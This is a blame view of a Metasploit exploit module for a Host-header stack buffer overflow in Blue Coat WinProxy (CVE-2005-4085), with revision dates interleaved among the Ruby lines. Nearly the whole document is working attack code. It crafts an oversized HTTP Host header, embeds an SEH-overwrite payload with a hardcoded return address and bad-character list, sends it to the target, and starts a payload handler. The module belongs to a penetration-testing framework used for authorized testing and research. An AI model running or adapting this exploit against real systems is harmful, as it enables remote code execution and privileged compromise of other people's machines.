Files
metasploit-gs/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

76 lines
2.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2006-01-08 06:26:30 +00:00
2010-07-12 23:25:31 +00:00
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
2006-01-08 06:26:30 +00:00
def initialize(info = {})
super(update_info(info,
2006-09-12 05:58:09 +00:00
'Name' => 'Blue Coat WinProxy Host Header Overflow',
2006-01-08 06:26:30 +00:00
'Description' => %q{
This module exploits a buffer overflow in the Blue Coat Systems WinProxy
2006-09-12 05:58:09 +00:00
service by sending a long port value for the Host header in a HTTP
request.
2006-01-08 06:26:30 +00:00
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
2006-01-08 06:26:30 +00:00
['CVE', '2005-4085'],
['OSVDB', '22238'],
2006-09-12 05:58:09 +00:00
['BID', '16147'],
['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
2006-01-08 06:26:30 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
2006-01-08 10:38:35 +00:00
'Targets' =>
2006-01-08 06:26:30 +00:00
[
[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
],
'Privileged' => true,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2005-01-05',
2006-01-08 06:26:30 +00:00
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80)
])
2006-01-08 06:26:30 +00:00
end
def exploit
connect
print_status("Trying target #{target.name}...")
sploit = "GET / HTTP/1.1" + "\r\n"
2006-01-08 06:26:30 +00:00
sploit += "Host: 127.0.0.1:"
sploit += rand_text_english(31, payload_badchars)
2006-01-08 06:26:30 +00:00
seh = generate_seh_payload(target.ret)
sploit[23, seh.length] = seh
sploit += "\r\n\r\n"
sock.put(sploit)
sock.get_once(-1, 3)
2006-01-08 06:26:30 +00:00
handler
disconnect
end
2009-05-13 17:39:42 +00:00
end